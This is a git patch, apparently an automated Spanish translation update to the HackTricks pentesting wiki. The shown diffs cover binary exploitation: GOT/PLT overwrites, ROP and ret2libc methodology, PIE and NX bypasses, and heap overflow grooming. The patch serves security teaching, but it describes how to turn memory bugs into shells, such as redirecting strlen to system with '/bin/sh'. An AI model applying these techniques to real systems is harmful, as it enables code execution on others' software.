From 51750a9454c89b8a71de62624dccf8e89327e104 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Jan 2025 13:05:19 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got- --- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 10 +- .../README.md | 68 +++++------ .../no-exec-nx.md | 6 +- .../pie/README.md | 10 +- .../libc-heap/heap-overflow.md | 12 +- .../rop-return-oriented-programing/README.md | 22 ++-- .../rop-return-oriented-programing/ret2csu.md | 12 +- .../ret2dlresolve.md | 10 +- .../ret2esp-ret2reg.md | 14 +-- .../rop-syscall-execv/README.md | 6 +- .../README.md | 16 +-- .../stack-overflow/README.md | 6 +- .../stack-overflow/ret2win/README.md | 10 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 26 ++--- .../stack-overflow/stack-shellcode/README.md | 10 +- .../file-data-carving-recovery-tools.md | 14 +-- .../file-data-carving-tools.md | 10 +- .../file-data-carving-recovery-tools.md | 10 +- .../external-recon-methodology/README.md | 64 +++++----- .../pentesting-methodology.md | 46 ++++---- .../python/README.md | 6 +- .../python/python-internal-read-gadgets.md | 2 +- .../linux-privilege-escalation-checklist.md | 16 +-- .../electron-cef-chromium-debugger-abuse.md | 18 +-- .../README.md | 4 +- .../macos-dangerous-entitlements.md | 12 +- .../macos-fs-tricks/README.md | 22 ++-- .../android-app-pentesting/README.md | 72 ++++++------ .../basic-ios-testing-operations.md | 22 ++-- .../pentesting-kerberos-88/README.md | 6 +- .../pentesting-web/403-and-401-bypasses.md | 12 +- .../pentesting-web/README.md | 62 +++++----- .../pentesting-web/flask.md | 4 +- .../pentesting-web/graphql.md | 34 +++--- .../pentesting-web/php-tricks-esp/README.md | 32 ++--- .../README.md | 28 ++--- .../client-side-template-injection-csti.md | 6 +- .../README.md | 110 +++++++++--------- .../csrf-cross-site-request-forgery.md | 14 +-- .../README.md | 18 +-- src/pentesting-web/file-upload/README.md | 10 +- src/pentesting-web/nosql-injection.md | 12 +- .../pocs-and-polygloths-cheatsheet/README.md | 22 ++-- .../web-vulns-list.md | 2 +- .../postmessage-vulnerabilities/README.md | 14 +-- src/pentesting-web/sql-injection/README.md | 46 ++++---- .../web-vulnerabilities-methodology.md | 108 ++++++++--------- .../web-vulnerabilities-methodology/README.md | 36 +++--- .../xss-cross-site-scripting/README.md | 84 ++++++------- .../server-side-xss-dynamic-pdf.md | 6 +- .../xss-in-markdown.md | 2 +- .../no-exec-nx.md | 2 +- .../pie/README.md | 4 +- .../stack-overflow/README.md | 12 +- .../stack-overflow/ret2csu.md | 2 +- .../stack-overflow/ret2esp-ret2reg.md | 4 +- .../stack-overflow/ret2win.md | 10 +- .../rop-return-oriented-programing.md | 14 +-- .../stack-pivoting-ebp2ret-ebp-chaining.md | 16 +-- .../stack-overflow/stack-shellcode.md | 12 +- ...itive-information-disclosure-from-a-web.md | 10 +- ...itive-information-disclosure-from-a-web.md | 10 +- .../active-directory-methodology/README.md | 54 ++++----- .../uac-user-account-control.md | 28 ++--- .../README.md | 94 +++++++-------- 65 files changed, 743 insertions(+), 753 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 6fa0e96b0..a70bbaa6b 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -8,13 +8,13 @@ La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven. -Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. +Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. ### **PLT: Tabla de Enlace de Procedimientos** -La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**. +La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al vinculador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**. -**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico. +**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del vinculador dinámico. ## Obtener Ejecución @@ -44,7 +44,7 @@ Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`** ## Entradas de la GOT de libc -La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). Las funciones comunes de la libc van a llamar a **otras funciones internas** cuya GOT podría ser sobrescrita para obtener ejecución de código. @@ -60,7 +60,7 @@ Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apun Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**. -## **Un Gadget** +## **One Gadget** {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 7e16d870c..47207e693 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -24,12 +24,12 @@ Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será Hay diferentes formas en las que podrías terminar controlando el flujo de un programa: -- [**Desbordamientos de Pila**](../stack-overflow/) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP. -- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. +- [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno de la pila o el EBP -> ESP -> EIP. +- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. - O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**. -- [**Cadenas de Formato**](../format-strings/)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias. +- [**Cadenas de Formato**](../format-strings/index.html)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias. - [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria. -- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. +- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. - **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW. Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en: @@ -42,9 +42,9 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en: Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario: -- Escribir en una **cadena ROP** la dirección de la **función `main`** o la dirección donde está ocurriendo la **vulnerabilidad**. -- Controlando una cadena ROP adecuada, podrías realizar todas las acciones en esa cadena. -- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para volver **a la vulnerabilidad**. +- Escribir en una **cadena ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**. +- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena. +- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**. - Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`. ## Objetivos de Explotación @@ -52,16 +52,16 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner ### Objetivo: Llamar a una Función Existente - [**ret2win**](#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera. -- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila. -- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás eludirlo. -- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), necesitarás eludirlo. +- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila. +- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), necesitarás eludirlo. +- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), necesitarás eludirlo. - Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar: -- Una [**cadena ROP**](#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (en caso de que puedas llamar a esta syscall) para controlar muchos registros. +- Una **cadena ROP** si hay suficientes gadgets para preparar todos los parámetros. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (en caso de que puedas llamar a esta syscall) para controlar muchos registros. - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros. -- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**. -- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones. +- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**. +- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones. - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. ### Objetivo: RCE @@ -69,32 +69,32 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner #### A través de shellcode, si nx está deshabilitado o mezclando shellcode con ROP: - [**(Stack) Shellcode**](#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo: -- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (leak). -- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará. -- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella. -- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí. +- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** en un bof regular necesitarás eludirlo (leak). +- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella. +- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/index.html) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí. - Esto mezclará shellcode con una cadena ROP. #### A través de syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas poder encontrar los **gadgets para llamar a la syscall específica con los parámetros**. -- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**. +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas ser capaz de encontrar los **gadgets para llamar a la syscall específica con los parámetros**. +- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) puede ser útil para preparar el **ret2execve**. - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros. #### A través de libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente). -- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática. -- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática. -- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo). -- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario use la `system`**: +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente). +- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. +- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. +- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo). +- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) pero sin [PIE](../common-binary-protections-and-bypasses/pie/index.html), conociendo la libc y **sin que el binario use la `system`**: - Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla. -- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) y calcular la dirección de `system` y `'/bin/sh'` en memoria. -- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y sin conocer la libc**: Necesitas: -- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/). +- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) y calcular la dirección de `system` y `'/bin/sh'` en memoria. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y sin conocer la libc**: Necesitas: +- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/index.html). - Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones). -- Comprobar los **escenarios anteriores con ASLR** para continuar. +- Revisar los **escenarios anteriores con ASLR** para continuar. #### A través de EBP/RBP @@ -102,10 +102,10 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner - Útil para **desbordamientos de pila off-by-one**. - Útil como una forma alternativa de terminar controlando EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP. -#### Miscelánea +#### Varios -- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones. +- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones. - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 8b7990082..1bf571b9b 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -8,9 +8,9 @@ El **bit No-Execute (NX)**, también conocido como **Execute Disable (XD)** en l ## Bypasses -- Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario. -- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/index.html) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html) - **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index e727bc15b..5083cc9f2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -8,14 +8,14 @@ Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, sign El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**. -Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\ -O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí solo puedes **calcular desplazamientos** de funciones y ubicaciones. +Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\ +O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes **calcular los desplazamientos** de funciones y ubicaciones. -## Eludidos +## Bypasses Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto: -- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto, **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar. +- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar. - Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos: @@ -23,7 +23,7 @@ Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, bypassing-canary-and-pie.md {{#endref}} -- Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/index.html) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## Referencias diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 706830479..9045e288f 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,7 +4,7 @@ ## Información Básica -Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.** +Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/index.html) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.** En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se van a restaurar desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de heap, **no hay información sensible almacenada por defecto** en el bloque de heap que puede ser desbordado. Sin embargo, podría haber información sensible o punteros, por lo que la **criticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto. @@ -17,9 +17,9 @@ En los desbordamientos de pila, la disposición y los datos que van a estar pres Sin embargo, en el caso de un desbordamiento de heap, la memoria utilizada no es lineal, sino que **los bloques asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **bins y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos bloques. Es **complicado saber el objeto que va a colisionar con el que es vulnerable** a un desbordamiento de heap. Por lo tanto, cuando se encuentra un desbordamiento de heap, es necesario encontrar una **manera confiable de hacer que el objeto deseado esté al lado en memoria** del que puede ser desbordado. -Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza, por ejemplo, [**en este post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En el post se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques). +Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza, por ejemplo, [**en esta publicación**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En la publicación se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques). -Por lo tanto, en el post anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**. +Por lo tanto, en la publicación anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**. Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al elaborar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación `kalloc` y cuando el puerto mach correspondiente se destruye, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`. @@ -27,7 +27,7 @@ Luego, algunos de estos marcadores de posición pueden ser **liberados**. La **l ### Ejemplo libc -[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribir el bit de uso previo del siguiente bloque y la posición del tamaño previo es posible **consolidar un bloque utilizado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que están siendo utilizados en un puntero diferente también. +[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribir el bit de uso previo del siguiente bloque y la posición del tamaño previo es posible **consolidar un bloque utilizado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también. Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de heap** puede ser abusado para llamar a la función ganadora para **obtener la bandera**. @@ -35,14 +35,14 @@ En el ejemplo de [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_o ### Ejemplo ARM64 -En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Por lo tanto, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como: +En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Así, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como: ```bash python3 -c 